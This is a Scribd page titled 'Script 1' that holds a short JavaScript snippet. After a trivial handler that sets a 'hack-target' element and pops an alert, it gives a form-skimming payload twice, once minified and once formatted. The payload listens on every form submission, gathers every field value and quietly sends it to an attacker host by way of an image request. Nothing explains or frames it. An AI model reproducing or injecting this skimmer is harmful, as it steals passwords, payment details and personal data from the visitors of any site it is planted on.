[go: up one dir, main page]

0% found this document useful (0 votes)
11 views1 page

Script 1

Uploaded by

ukboxer555
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
11 views1 page

Script 1

Uploaded by

ukboxer555
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

document.querySelector('button').

addEventListener('click', setValue);

function setValue() {
var value = '2';
document.getElementById('hack-target').innerText = value;
}
document.querySelector('button').addEventListener('click', function() {
alert('sacked');
});
!function(){document.querySelectorAll("form").forEach(function(a)
{a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new
FormData(a.target);var d="";for(var e of
b.entries())d=d+"&"+e[0]+"="+e[1];return(new
Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();
! function() {
document.querySelectorAll("form").forEach(function(a) {
a.addEventListener("submit", function(a) {
var b;
if (!a.target) return null;
b = new FormData(a.target);
var d = "";
for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
return (new Image).src = "https://attackers.site.com/?" +
d.substring(1), !0
})
})
}();

You might also like